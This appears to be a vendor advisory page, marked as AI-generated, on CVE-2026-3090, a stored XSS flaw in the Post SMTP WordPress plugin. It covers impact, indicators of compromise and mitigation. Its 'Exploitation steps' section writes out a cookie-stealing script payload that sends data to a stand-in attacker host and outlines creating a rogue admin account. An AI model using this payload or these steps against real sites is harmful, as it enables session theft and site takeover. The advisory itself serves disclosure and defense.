Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-3090
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-3090 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post SMTP – Complete Email Deliverability and SMTP Solution plugin for WordPress. It affects all versions up to and including 3.8.0, and allows unauthenticated attackers to inject arbitrary web scripts via the event_type parameter due to insufficient input sanitization and output escaping. The vulnerability is only exploitable when the Post SMTP Pro plugin is also installed and its Reporting and Tracking extension is enabled. It was published on March 18, 2026, with a CVSS v3.1 base score of 7.2 (High) (Wordfence, ENISA EUVD).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The vulnerable code resides in Postman/PostmanEmailLogs.php (around line 459), where the event_type parameter is not properly sanitized before being stored and later rendered in the WordPress admin interface (WordPress Trac). An unauthenticated attacker can craft a malicious HTTP request that stores a JavaScript payload in the email log, which executes in the browser of any authenticated user (e.g., an administrator) who views the affected log page. Exploitation requires the co-presence of the Post SMTP Pro plugin with its Reporting and Tracking extension active, limiting the attack surface but not eliminating the unauthenticated nature of the injection (Wordfence).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of authenticated WordPress users, including administrators, who view the injected email log pages. This can lead to session token theft, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and potential full site compromise. The scope is changed (S:C in CVSS), meaning the impact extends beyond the plugin itself to the broader WordPress installation and its users (ENISA EUVD, Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.061% (0.000610), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It was detected by Qualys scanners (detection ID 531155) and disclosed by Wordfence (Wordfence, ENISA EUVD).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Post SMTP plugin (version ≤ 3.8.0) with Post SMTP Pro and its Reporting and Tracking extension enabled. This can be done via passive fingerprinting (e.g., checking plugin readme files at /wp-content/plugins/post-smtp/readme.txt) or using tools like WPScan.
  2. Craft malicious payload: Prepare a stored XSS payload to be injected via the event_type parameter, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a payload that creates a new admin user via the WordPress REST API.
  3. Trigger the injection: Send an unauthenticated HTTP request to the WordPress site that causes the Post SMTP plugin to log an email event with the malicious event_type value. This may involve triggering an email-related action (e.g., a contact form submission or password reset) while manipulating the event_type parameter.
  4. Wait for victim interaction: The injected script is stored in the email log. When an authenticated administrator navigates to the Post SMTP email log/reporting page, the script executes in their browser.
  5. Achieve objective: The attacker's script runs with the victim's session privileges, enabling session hijacking, credential theft, or unauthorized administrative actions on the WordPress site (Wordfence, WordPress Trac).

Indicators of compromise

  • Network: Unusual outbound HTTP requests from the WordPress server or admin browser to unknown external domains shortly after an administrator views the Post SMTP email log page; unexpected requests to attacker-controlled URLs containing cookie or session data.
  • Logs: WordPress access logs showing requests that include script tags or encoded JavaScript in parameters associated with Post SMTP email logging endpoints; repeated requests to email log pages from unfamiliar IP addresses.
  • File System: Unexpected new PHP files or modified plugin files in /wp-content/plugins/post-smtp/; new or modified WordPress admin user accounts not created by legitimate administrators.
  • Database: Entries in the Post SMTP email log table (wp_postman_sent_mail or similar) containing <script> tags or JavaScript event handlers in the event_type or related fields.

Mitigation and workarounds

Users should update the Post SMTP plugin to version 3.8.1 or later, which addresses the insufficient sanitization and output escaping (WordPress Trac Changeset). As an interim workaround, disabling the Post SMTP Pro plugin's Reporting and Tracking extension will prevent exploitation, since the vulnerability is only exploitable when that extension is active. Site administrators should also review email logs for any suspicious entries and audit admin accounts for unauthorized additions (Wordfence).

Community reactions

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for March 16–22, 2026 (Wordfence Blog). Sucuri also referenced the vulnerability in their March 2026 vulnerability patch roundup (Sucuri Blog). No significant social media controversy or notable researcher commentary beyond standard disclosure coverage has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-88788MEDIUM6.8
  • text-styler
NoNoSep 19, 2026
CVE-2026-9858MEDIUM4.3
  • wc-partial-shipment
NoYesSep 19, 2026
CVE-2026-9766MEDIUM4.3
  • empik-for-woocommerce
NoYesSep 19, 2026
CVE-2026-9613MEDIUM4.3
  • datalogics
NoYesSep 19, 2026
CVE-2026-87848LOW3.7
  • mpcx-lightbox
NoNoSep 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management